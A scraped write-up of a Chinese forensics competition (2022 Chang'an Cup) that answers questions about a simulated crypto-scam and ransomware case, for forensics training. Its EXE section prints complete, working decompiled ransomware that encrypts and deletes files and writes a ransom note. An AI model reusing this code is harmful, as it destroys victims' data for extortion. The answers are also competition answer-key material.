2022长安杯复现

案件情况

某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用“USTD 币”购买所谓的“HT 币”,受害人充 值后不但“HT 币”无法提现、交易,而且手机还被恶意软件锁定 勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服 务器镜像并对案件展开侦查。

检材1

    1、检材1的SHA256值为:

火眼打开之后计算出希哈值:9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34

    2、 分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2【172.16.80.100】

仿真出来last命令

172.16.80.100

    3、 检材1中,操作系统发行版本号为

Cntos Linux release 7.5.1804 (Core)

cat /etc/redhat-release

    4、 检材1系统中,网卡绑定的静态IP地址为

172.16.80.133

ifconfig命令查看即可

    5、检材1中,网站jar包所存放的目录是 (答案为绝对路径,如“/home/honglian/”)

/web/app 

查看历史命令,发现多次进入/web/app目录,并执行npm等指令,进入后发现有多个jar包,确定为网站jar包所存放目录 

 

    6、检材1中,监听7000端口的进程对应文件名为

cloud.jar

导出所有jar包放入Java反编译工具(此时遇到打不开的情况,可以重新去检验镜像哈希,应该是镜像损坏,导致导出的jar包损坏)

    7、检材1中,网站管理后台页面对应的网络端口为【9090】

在检材二的charm浏览器的历史记录中

 

    8、 检材1中,网站前台页面里给出的APK的下载地址是

网站启动起来
3000端口出现app下载,扫描二维码
可以知道网址是https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1

    9. 检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?

导出admin所在jar包,搜索password:可以发现密码和验证码的加密方式都为MD5

 

10. 分析检材1,网站管理后台登录密码加密算法中所使用的盐值是

XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs

定位md5Key 

最后发现MD5.key即为加密算法的盐值 

 

 

检材2

11. 检材2中,windows账户Web King的登录密码是

135790

通过分析软件,可以看到密码

12. 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3

172.16.80.128 

查看xshell的连接记录,可以发现

已知检材1的IP是:172.16.80.133

所以在分析结果中排除172.16.80.133,另一个IP即是答案

13. 检材2中,powershell中输入的最后一条命令是

ipconfig 

powershell命令的默认存储目录\Users\[user]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt,在该路径下也可以找到

14. 检材2中,下载的涉案网站源代码文件名为

ZTuoExchange_framework-master.zip 

谷歌浏览器里有相应的zip下载记录,导出文件

15. 检材2中,网站管理后台root账号的密码为

root

在谷歌浏览器保存了账号和密码

 

16. 检材2中,技术员使用的WSL子系统发行版本是(答案格式如下:windows 10.1)

Ubuntu 20.04 

仿真过后通过命令wsl -l可以获取到

或者通过分析程序发现,命令都是在20.04中输入的

17. 检材2中,运行的数据库服务版本号是(答案格式如下:10.1)

 8.0.30

通过分析程序查看,可以看到版本号

18. 上述数据库debian-sys-maint用户的初始密码是

mysql的debian-sys-maint的初始密码保存在mysql目录的配置文件debian.cnf

数据库是在wsl子系统中运行的,因此需要定位到子系统目录C:\Users\Web King\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgsc\LocalState\rootfs

19. 检材3服务器root账号的密码是

h123456 
系统SSH历史输入命令中,发现曾使用sshpass对172.16.80.128进行连接,连接密码为h123456

 

检材三

根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得“检材3”,分析所有掌握的检材回答下列问题

通过第12题答案,解压检材3

20. 检材3中,监听33050端口的程序名(program name)为

docker-proxy

在历史命令中发现嫌疑人进入了/data/mysql 之后使用了docker-compose up

进入目录后,查看docker-compose.yml配置文件,发现使用了33050,尝试启动后发现program name

image-20221101120302903

 

netstat -tunlp

image-20221101120543991

 

21. 除MySQL外,该网站还依赖以下哪种数据库

在对admin-api.jar的逆向分析中,发现使用了redis以及mongodb

 

22. 检材3中,MySQL数据库root账号的密码是

admin-api.jar中也可分析出密码

 

23. 检材3中,MySQL数据库在容器内部的数据目录为

 

通过进入容器内部找到相关信息

docker exec -it 8eda4cb0b452 bash

image-20221101121705555

24. 涉案网站调用的MySQL数据库名为、

b1

25. 勒索者在数据库中修改了多少个用户的手机号?

在 docker 中的 /var/lib/mysql 目录下,根据 docker-compose 的配置映射到宿主机上就在 /data/mysql/db 目录下,8eda4cb0b452.log可以导出来查看,比较方便,问修改的数量,过滤 update 关键字,在日志中有 8 处匹配,但实际上有关 mobile_phone 的日志只有 3 条

2022-10-18T08:48:06.120268Z	    8 Query	update admin set last_login_time='2022-10-18 04:48:06.114', last_login_ip=null where id=1
2022-10-18T08:48:21.016425Z	    8 Query	update admin set last_login_time='2022-10-18 04:48:21.023', last_login_ip='172.16.80.100' where id=1
2022-10-18T09:38:56.117223Z	    9 Query	update admin set last_login_time='2022-10-18 05:38:56.113', last_login_ip='172.16.80.197' where id=1
2022-10-19T03:20:39.001499Z	   13 Query	UPDATE `b1`.`member` SET `mobile_phone` = '13638991111' WHERE `id` = 9
2022-10-19T03:20:41.851525Z	   13 Query	UPDATE `b1`.`member` SET `mobile_phone` = '13282992222' WHERE `id` = 10
2022-10-19T03:20:44.184953Z	   13 Query	UPDATE `b1`.`member` SET `mobile_phone` = '13636993333' WHERE `id` = 11
2022-10-19T05:34:00.075764Z	   10 Query	select count(a.id) from member a , member_application b where a.id = b.member_id and b.audit_status = 2 and date_format(b.update_time,'%Y-%m-%d') = '2022-10-18'
2022-10-20T03:18:25.478485Z	   10 Query	update admin set last_login_time='2022-10-19 23:18:25.461', last_login_ip='172.16.80.100' where id=1

26. 勒索者在数据库中删除的用户数量为

28

在log文件中可以搜索到有批量删除的记录,delete from b1 member··,记数一下有28个

image-20221101123732257

 

27. 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压 检材4

172.16.80.197

用数据库分析工具来分析一下,172.16.80.197登录了管理后台的网址

 

28. 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为

cee631121c2ec9232f3a2f028ad5c89b 

member_wallet表中,找到ID=500的用户,得到

 

29. 还原全部被删改数据,共有多少名用户的会员等级为’LV3’

将member数据库导出成csv结构,筛选出member_grade_id=3,有158条。但我们还要还原数据,实际上 member 表中还有 28 条被删除的用户记录,28 个用户中有6个 LV3,共164个

“SELECT count(member_grade_id) FROM member WHERE member_grade_id=3”

 

30. 还原全部被删改数据,哪些用户ID没有充值记录

318,989

SELECT id  from member where id not in (select member_id from member_transaction)

 

 

31. 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?

1000

select count(*) from member_transaction where create_time BETWEEN "2022-10-17 00:00:00" and "2022-10-17 23:59:59"

 

 

32. 还原全部被删改数据,该网站中充值的USDT总额为

408228 

select sum(amount) from member_transaction

 

 

检材四

根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材4”进行了固定。分析所有掌握的检材,回答下列问题

修改文件为zip,然后打开发现vmdk文件,导入火眼中分析

33. 嫌疑人使用的安卓模拟器软件名称是

夜神模拟器

 

34. 检材4中,“老板”的阿里云账号是

forensixtech1

image-20221101135452879

 

35.检材4中安装的VPN工具的软件名称是

v2Ray

配置信息里面就有

image-20221101135257781

 

 

36. 上述VPN工具中记录的节点IP是

38.68.135.18

image-20221101135531549

 

 

37. 检材4中,录屏软件安装时间为

2022-10-19 10:50:27

通过apk的位置找到软件的包名

image-20221101140649170

回到火眼

image-20221101140437417

 

38. 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为

0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d

 在目录/storage/emulated/0/Android/data/com.jiadi.luping/files 下找到录屏文件

 

39. 上述录屏软件登录的手机号是

18645091802

通过导出record.db还有record.db-wal文件,导入DB Brower中分析得到

image-20221101142013326

 

40. 检材4中,发送勒索邮件的邮箱地址为

skterran@163.com 

火眼直接分析得到

image-20221101142058008

 

EXE分析

分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题

41.分析加密程序,编译该加密程序使用的语言是

python

 

42. 分析加密程序,它会加密哪些扩展名的文件?

txt.jpg.docx.xls

参考文章:pyinstaller打包成exe的反向解析工具(pyinstxtractor.py和uncompyle6) - 简书

 

python pyinstxtractor.py encrypt_file.exe

 在解析生成的encrypt_file.exe_extracted目录中的PYZ-00.pyz_extracted目录

找一个.pyc文件复制前12字节16进制到encrypt_file_1前面

 用uncompyle6进行反编译

uncompyle6 .\encrypt_file_1.pyc >123.py

反编译成功

# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: encrypt_file_1.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\n(有风险提示所以删除只留下后5位)u+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"
 
class XORCBC:
 
    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0
 
    def encrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)
 
        return bytes(data)
 
 
print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')
 
def run_finall():
    for filepath, dirnames, filenames in os.walk(os.getcwd()):
        for filename in filenames:
            if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
                ExtensionPath = os.path.splitext(filename)[(-1)]
                if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:
                    time.sleep(3)
                    data_file = os.path.join(filepath, filename)
                    rsakey = RSA.import_key(pubkey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = os.urandom(16)
                    xor_obj = XORCBC(xor_key)
                    outf = open(data_file + '_encrypted', 'wb')
                    encrypted_xor_key = cipher.encrypt(xor_key)
                    outf.write(encrypted_xor_key)
                    buffer_size = 4096
                    with open(data_file, 'rb') as (f):
                        while True:
                            data = f.read(buffer_size)
                            if not data:
                                break
                            outf.write(xor_obj.encrypt(data))
 
                    outf.close()
                    os.remove(data_file)
 
 
run_finall()
 
def redme():
    try:
        dir = os.path.join(os.path.expanduser('~'), 'Desktop')
        print(dir)
        with open(dir + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)
    except:
        dir1 = os.getcwd()
        print(dir1)
        with open(dir1 + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)
 
 
print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')
# okay decompiling .\encrypt_file_1.pyc

“if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:”-----------------是对txt.jpg.docx.xls的文件进行加密 

43. 分析加密程序,是通过什么算法对文件进行加密的?

data_file = os.path.join(filepath, filename)
                    rsakey = RSA.import_key(pubkey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = os.urandom(16)
                    xor_obj = XORCBC(xor_key)
                    outf = open(data_file + '_encrypted', 'wb')
                    encrypted_xor_key = cipher.encrypt(xor_key)
                    outf.write(encrypted_xor_key)
                    buffer_size = 4096
                    with open(data_file, 'rb') as (f):
                        while True:
                            data = f.read(buffer_size)
                            if not data:
                                break
                            outf.write(xor_obj.encrypt(data))

                    outf.close()
                    os.remove(data_file)

首先把公钥导入,生成一个rsakey,然后把rsakey通过cipher加密生成了一个cipher字符串随后通过cipher加密了xor_keyxor_key是一个随机的16位字符串(os.urandom(16)),因此是outf.write(encrypted_xor_key)加密了文件

异或加密

class XORCBC:

    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0

    def encrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)

        return bytes(data)

44. 分析加密程序,其使用的非对称加密方式公钥后5位为?

根据解密后的内容得到公钥

pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'

可以得到u+w==

45. 被加密文档中,FLAG1的值是

TREFWGFS

通过相同的方法,对decrypt_file.exe进行逆向

随后得到的密码为:4008003721

使用该密码解密

image-20221101153949542

apk分析

46. 恶意APK程序的包名为

cn.forensix.changancup

通过第8题得到的链接下载apk并分析,jadx打开看到包名

47. APK调用的权限包括

READ_EXTERNAL_STORAGE|WRITE_EXTERNAL_STORAGE

继续查看AndroidManifest.xml,得到权限

48. 解锁第一关所使用的FLAG2值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入"FLAG9:QWERT123")

MATSFRKG 

利用雷电进行一键脱壳

脱壳后反编译jadx

直接搜索FLAG2,可以看到结果

49. 解锁第二关所使用的FLAG3值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入"FLAG9:QWERT123")

找到了mainactivity,分析flag2周围的函数

找到加密的地方

} else if (App.OooO0O0.OooO0oo.equals(this.OooO0o0.getText().toString()) && App.OooO0OO.edit().putInt("unlocked", App.OooO0OO.getInt("unlocked", 0) | 2).commit()) {
                    StringBuilder OooO0OO2 = C0261o0000Oo.OooO0OO(App.OooO0OO.getString("flag16_tkey", ""));
                    OooO0OO2.append(App.OooO0O0.OooO0oo);
                    if (App.OooO0OO.edit().putString("flag16_tkey", OooO0OO2.toString()).commit()) {
                        App.OooO0Oo();
                        System.out.println("delay lock screen close");
                        OooO00o();
                    }
this.OooO0oo = new String(decrypt(OooO0O0.OooO0O0("ffd4d7459ad24cd035611b014a2cccac")));

分析可得进行了两次加密

decrypt函数:

public native byte[] decrypt(byte[] bArr);

public native byte[] encrypt(byte[] bArr);

public native void init(byte[] bArr);

init函数调用了libcipher.so对密文进行了解密,与输入的值进行比较,最终判断是否正确 

package com.example.hanshu;
import android.app.Application;
import android.util.Log;

public class App extends Application {
    static {
        System.loadLibrary("cipher");
    }
    public native byte[] decrypt(byte[] bArr);

    public native byte[] encrypt(byte[] bArr);

    public native void init(byte[] bArr);
    public static  void  main(){
        String out = new String(new App().decrypt(OooO0O0("ffd4d7459ad24cd035611b014a2cccac")));
        System.out.println("ocipher:"+out);
    }
    public static byte[] OooO0O0(String str){
        int length = str.length() / 2;
        byte[] bArr = new byte[length];
        for (int i =0; i < length; i++){
            int i2 = i +2;
            bArr[i] = (byte) Integer.parseInt(str.substring(i2, i2+2),  16);
        }
        return bArr;
    }

}

 最后连接模拟器,将此apk推送到模拟器中,查看日志,即可找到FLAG3

FLAG3:TDQ2UWP9

50. 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值

限制输入24个字符串,然后分成四位一组分成六组数,

密码由全部可显示的ASCII码组成,在标准的ASCII表中,可打印的字符的编码范围是33-126,在代码中是对分为6组的数组依次判断,也就是说我们可以通过每4位爆破的方式,组成全部的密码

public class Test{
    static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};
    public static long[] OooO(long j, long j2) {
        if (j == 0) {
            return new long[]{0, 1};
        }
        long[] OooO = OooO(j2 % j, j);
        return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};
    }

    public static void main(String[] args) {
        String res = "";
        for (int i = 0; i < 6; i++) {
            //4层循环遍历4位字符串
            for (int a1 = 33; a1 < 127; a1++) {
                for (int a2 = 33; a2 < 127; a2++) {
                    for (int a3 = 33; a3 < 127; a3++) {
                        for (int a4 = 33; a4 < 127; a4++) {
                            long tmp = (long) (a1 << 16);
                            tmp = tmp | ((long) (a2 << '\b'));
                            tmp = tmp | ((long) (a3 << 24));
                            tmp = ((long) a4) | tmp;
                            if (((OooO(tmp, 0x100000000L)[0] % 0x100000000L) + 0x100000000L) % 0x100000000L == ((long) OooO0oO[i])) {
                                res += (char)a1;
                                res += (char)a2;
                                res += (char)a3;
                                res += (char)a4;
                                //获取到当前密码后,跳出4层循环
                                a1 = a2 = a3 = a4 = 128;
                            }

                        }
                    }
                }
            }
        }
        System.out.println(res);
    }
}

运行结果

a_asd./1imc2)dd1234]_+=+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/393845.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

类(接口)图几种箭头含义

导语 在平时的开发中&#xff0c;难免会遇到画UML图的时候&#xff0c;也就是我们所说的类图&#xff0c;但是UML图中的箭头多种多样&#xff0c;所代表的含义也是各不相同&#xff0c;今天我们就来说说这几种箭头所代表的含义。 1 泛化 概念&#xff1a;泛化表示一个更泛化的元…

K8S之运用污点、容忍度设置Pod的调度约束

污点、容忍度 污点容忍度 taints 是键值数据&#xff0c;用在节点上&#xff0c;定义污点&#xff1b; tolerations 是键值数据&#xff0c;用在pod上&#xff0c;定义容忍度&#xff0c;能容忍哪些污点。 污点 污点是定义在k8s集群的节点上的键值属性数据&#xff0c;可以决…

Android 15 第一个开发者预览版

点击查看&#xff1a;first-developer-preview-android15 点击查看&#xff1a;Get Android 15 2024年2月16日,谷歌发布 Android 15 第一个开发者预览版 翻译 由工程副总裁戴夫伯克发布 今天&#xff0c;我们发布了Android 15的首个开发者预览版&#xff0c;这样我们的开发者就…

软件测试理论

一、软件测试分类 1.按测试阶段划分 单元测试&#xff08;模块测试&#xff09; 针对软件设计中的最小单位&#xff08;程序模块&#xff09;&#xff0c;进行正确性检查的测试工作。单元测试需要从程序内部结构出发设计测试用例。多个模块可以平行的独立进行单元测试。 单元…

挑战杯 地铁大数据客流分析系统 设计与实现

文章目录 1 前言1.1 实现目的 2 数据集2.2 数据集概况2.3 数据字段 3 实现效果3.1 地铁数据整体概况3.2 平均指标3.3 地铁2018年9月开通运营的线路3.4 客流量相关统计3.4.1 线路客流量排行3.4.2 站点客流量排行3.4.3 入站客流排行3.4.4 整体客流随时间变化趋势3.4.5 不同线路客…

用Locust做性能测试是一种什么样的体验

01 Locust介绍 Locust 一个开源性能测试工具&#xff0c;使用Python代码来定义用户行为&#xff0c;用它可以模拟百万计的并发用户访问你的系统。 性能工具对比&#xff1a; LoadRunner 是非常有名的商业性能测试工具&#xff0c;功能非常强大。使用也比较复杂&#xff0c;目…

【软考中级备考笔记】数据的表示和校验码

2024/2/18 – 数据的表示和校验码 天气&#xff1a;阴雨 春节假期结束后第一个工作日&#xff0c;开始备考中级软件工程师。 希望在今年5月底的软考中取得中级证书 视频地址&#xff1a;https://www.bilibili.com/video/BV1Qc411G7fB 1. 计算机的总体架构 从下图中可以看出&am…

【网站项目】155在线考试与学习交流网页平台

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

RocketMQ订阅关系不一致和不能消费时如何排查?

订阅关系不一致 调整任意一个实例的订阅关系和另一个保持一致 消费者不能消费消息 它是最常见的问题之一&#xff0c;也是每个消息队列服务都会遇到的问题 1.确认哪个消息未消费。在这时消费者至少需要手机消息id、消息key、消息发送时间段三者之一 2.确认消息是否发送成功…

6.s081 学习实验记录(九)lock parallelism

文章目录 一、Memory allocator简介提示实验代码实验结果 二、Buffer cache简介提示实验代码实验结果 该实验将重构某些代码以提高并发度。 首先切换到lock分支&#xff1a; git fetchgit checkout lockmake clean 一、Memory allocator 简介 user/kalloctest 这个程序会对…

安装 Windows 7

1.镜像安装 镜像安装:安装Windows 7 2.安装过程(直接以图的形式呈现) 等待安装成功即可

2.18作业

通过字符设备驱动分步注册过程实现LED驱动的编写&#xff0c;编写应用程序测试 头文件 #ifndef __HEAD_H__ #define __HEAD_H__ typedef struct{unsigned int MODER;unsigned int OTYPER;unsigned int OSPEEDR;unsigned int PUPDR;unsigned int IDR;unsigned int ODR; }gpio…

Jetpack Compose 第 1 课:可组合函数

点击查看&#xff1a;Jetpack Compose 教程 点击查看&#xff1a;Composetutorial 代码 简介 Jetpack Compose 是用于构建原生 Android 界面的新工具包。它使用更少的代码、强大的工具和直观的 Kotlin API&#xff0c;可以帮助您简化并加快 Android 界面开发。 在本教程中&a…

视觉开发板—K210自学笔记(五)--按键控制LED

本期我们来遵循其他单片机的学习路线开始去用板子上的按键控制点亮LED。那么第一步还是先知道K210里面的硬件电路是怎么连接的&#xff0c;需要查看第二节的文档&#xff0c;看看开发板原理图到底是按键是跟哪个IO连在一起。然后再建立输入按键和GPIO的映射就可以开始变成了。 …

Instagram 账号被封怎么办?如何申诉拿回账号?

不知道各位在玩转海外社媒平台时有没有遇到过Instagram账号异常的情况&#xff0c;比如会出现账号受限、帖子发不出去、账号被封号等情况?Instagram账号如果被封不用马上弃用&#xff0c;我们可以先尝试一下申诉&#xff0c;看看能不能把账号解封。所以今天将会出一篇Instagra…

综合布线实训室建设方案2024

综合布线实训室概述 随着智慧城市的发展&#xff0c;人工智能、物联网、云计算、大数据等新鲜行业的兴起&#xff0c;网络布线系统是现代智慧城市、智慧社区、智能建筑、智能家居、智能工厂和现代服务业的基础设施和神经网络&#xff0c;实践表明网络系统的故障 70%发生在布线…

生成式 AI - Diffusion 模型的数学原理(4)

来自 论文《 Denoising Diffusion Probabilistic Model》&#xff08;DDPM&#xff09; 论文链接&#xff1a; https://arxiv.org/abs/2006.11239 Hung-yi Lee 课件整理 文章目录 一、 q &#xff08; x t ∣ x t − 1 &#xff09; q&#xff08;x_{t} \mid x_{t-1} &#xff…

JVM常见问题笔记分享

文章目录 1 JVM组成1.1 JVM由那些部分组成&#xff0c;运行流程是什么&#xff1f;1.2 什么是程序计数器&#xff1f;1.3 你能给我详细的介绍Java堆吗?元空间(MetaSpace)介绍 1.4 什么是虚拟机栈1.5 堆和栈的区别1.6 能不能解释一下方法区&#xff1f;1.5.1 概述1.5.2 常量池1…

C++题目打卡2.18

从今天开始我们又将讲4天题目。 题目列表 1.分配T4 2.组合T5 #分配T4 这里很明显是&#xff08;200 110&#xff09; - 330的差值最小。 我们先想到了一个想法就是输入时哪个堆大,加那个。 #include <bits/stdc.h> using namespace std; int main(){int n, ans1 0, …

Win11家庭版,鸿蒙DevEco 模拟器启动失败,成功解决了

本人电脑系统&#xff1a;Windows 11 家庭版 正常安装模拟器后&#xff0c;启动失败&#xff0c;查了各种方法&#xff0c;最终发现是电脑虚拟机未启动导致的。 官方给出的解决方法&#xff08;对我无效&#xff01;&#xff01;&#xff01;&#xff09;&#xff1a; 我的…